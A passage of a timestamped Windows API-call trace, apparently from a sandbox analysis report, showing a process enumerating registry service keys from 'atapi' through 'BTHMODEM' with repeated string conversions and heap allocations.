(HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0212.790] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0212.790] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0212.790] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x21f1d60, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="atapi", lpUsedDefaultChar=0x0) returned 5 [0212.790] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0212.790] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0212.790] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0212.790] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0212.790] RegEnumKeyW (in: hKey=0x148, dwIndex=0x25, lpName=0x2152850, cchName=0x104 | out: lpName="AudioEndpointBuilder") returned 0x0 [0212.790] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0212.790] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0212.790] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0212.791] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x21f1850, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audioendpointbuilder", lpUsedDefaultChar=0x0) returned 20 [0212.791] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0212.791] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0212.791] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0212.791] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0212.791] RegEnumKeyW (in: hKey=0x148, dwIndex=0x26, lpName=0x2152850, cchName=0x104 | out: lpName="AudioSrv") returned 0x0 [0212.791] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0212.791] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0212.791] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0212.791] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x21f1d60, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audiosrv", lpUsedDefaultChar=0x0) returned 8 [0212.791] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0212.791] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0212.791] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0212.791] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0212.791] RegEnumKeyW (in: hKey=0x148, dwIndex=0x27, lpName=0x2152850, cchName=0x104 | out: lpName="AxInstSV") returned 0x0 [0212.791] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0212.791] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0212.791] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0212.791] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x21f1850, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="axinstsv", lpUsedDefaultChar=0x0) returned 8 [0212.791] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0212.791] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0212.791] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0212.791] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0212.791] RegEnumKeyW (in: hKey=0x148, dwIndex=0x28, lpName=0x2152850, cchName=0x104 | out: lpName="b06bdrv") returned 0x0 [0212.791] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0212.791] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0212.791] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0212.791] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x21f1d60, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b06bdrv", lpUsedDefaultChar=0x0) returned 7 [0212.791] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0212.791] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0212.791] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0212.791] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0212.791] RegEnumKeyW (in: hKey=0x148, dwIndex=0x29, lpName=0x2152850, cchName=0x104 | out: lpName="b57nd60a") returned 0x0 [0212.792] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0212.792] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0212.792] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0212.792] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x21f1850, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b57nd60a", lpUsedDefaultChar=0x0) returned 8 [0212.792] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0212.792] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0212.792] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0212.792] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0212.792] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2a, lpName=0x2152850, cchName=0x104 | out: lpName="BattC") returned 0x0 [0212.792] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0212.792] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0212.792] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0212.792] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x21f1d60, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="battc", lpUsedDefaultChar=0x0) returned 5 [0212.792] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0212.792] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0212.792] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0212.792] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0212.792] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2b, lpName=0x2152850, cchName=0x104 | out: lpName="BDESVC") returned 0x0 [0212.792] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0212.792] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0212.792] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0212.792] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x21f1850, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bdesvc", lpUsedDefaultChar=0x0) returned 6 [0212.792] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0212.792] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0212.792] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0212.792] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0212.792] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2c, lpName=0x2152850, cchName=0x104 | out: lpName="Beep") returned 0x0 [0212.792] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0212.792] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0212.792] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0212.792] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x21f1d60, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="beep", lpUsedDefaultChar=0x0) returned 4 [0212.793] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0212.793] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0212.793] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0212.793] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0212.793] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2d, lpName=0x2152850, cchName=0x104 | out: lpName="BFE") returned 0x0 [0212.793] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0212.793] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0212.793] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0212.793] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x21f1850, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bfe", lpUsedDefaultChar=0x0) returned 3 [0212.793] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0212.793] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0212.793] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0212.793] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0212.793] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2e, lpName=0x2152850, cchName=0x104 | out: lpName="BITS") returned 0x0 [0212.793] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0212.793] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0212.793] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0212.793] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x21f1d60, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bits", lpUsedDefaultChar=0x0) returned 4 [0212.793] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0212.793] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0212.793] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0212.793] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0212.793] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2f, lpName=0x2152850, cchName=0x104 | out: lpName="blbdrive") returned 0x0 [0212.793] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0212.793] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0212.793] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0212.793] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x21f1850, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="blbdrive", lpUsedDefaultChar=0x0) returned 8 [0212.793] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0212.793] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0212.793] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0212.793] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0212.793] RegEnumKeyW (in: hKey=0x148, dwIndex=0x30, lpName=0x2152850, cchName=0x104 | out: lpName="bowser") returned 0x0 [0212.794] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0212.794] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0212.794] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0212.794] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x21f1d60, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bowser", lpUsedDefaultChar=0x0) returned 6 [0212.794] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0212.794] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0212.794] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0212.794] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0212.794] RegEnumKeyW (in: hKey=0x148, dwIndex=0x31, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltLo") returned 0x0 [0212.794] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0212.794] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0212.794] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0212.794] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x21f1850, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltlo", lpUsedDefaultChar=0x0) returned 8 [0212.794] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0212.794] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0212.794] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0212.794] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0212.794] RegEnumKeyW (in: hKey=0x148, dwIndex=0x32, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltUp") returned 0x0 [0212.794] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0212.794] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0212.794] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0212.794] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x21f1d60, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltup", lpUsedDefaultChar=0x0) returned 8 [0212.794] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0212.794] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0212.794] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0212.794] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0212.794] RegEnumKeyW (in: hKey=0x148, dwIndex=0x33, lpName=0x2152850, cchName=0x104 | out: lpName="Browser") returned 0x0 [0212.794] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0212.794] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0212.794] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0212.794] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x21f1850, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="browser", lpUsedDefaultChar=0x0) returned 7 [0212.794] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0212.794] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0212.795] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0212.795] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0212.795] RegEnumKeyW (in: hKey=0x148, dwIndex=0x34, lpName=0x2152850, cchName=0x104 | out: lpName="Brserid") returned 0x0 [0212.795] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0212.795] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0212.795] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0212.795] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x21f1d60, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserid", lpUsedDefaultChar=0x0) returned 7 [0212.795] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0212.795] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0212.795] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0212.795] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0212.795] RegEnumKeyW (in: hKey=0x148, dwIndex=0x35, lpName=0x2152850, cchName=0x104 | out: lpName="BrSerWdm") returned 0x0 [0212.795] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0212.795] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0212.795] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0212.795] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x21f1850, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserwdm", lpUsedDefaultChar=0x0) returned 8 [0212.795] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0212.795] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0212.795] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0212.795] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0212.795] RegEnumKeyW (in: hKey=0x148, dwIndex=0x36, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbMdm") returned 0x0 [0212.795] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0212.795] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0212.795] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0212.795] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x21f1d60, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbmdm", lpUsedDefaultChar=0x0) returned 8 [0212.795] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0212.795] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0212.795] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0212.795] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0212.795] RegEnumKeyW (in: hKey=0x148, dwIndex=0x37, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbSer") returned 0x0 [0212.795] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0212.795] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0212.795] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0212.796] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x21f1850, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbser", lpUsedDefaultChar=0x0) returned 8 [0212.796] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0212.796] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0212.796] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0212.796] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0212.796] RegEnumKeyW (in: hKey=0x148, dwIndex=0x38, lpName=0x2152850, cchName=0x104 | out: lpName="BTHMODEM") returned 0x0 [0212.796] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0212.796] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0212.796] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0212.796] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x21f1d60, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthmodem", lpUsedDefaultChar=0x0) returned 8 [0212.796] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0212.796] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0212.796] 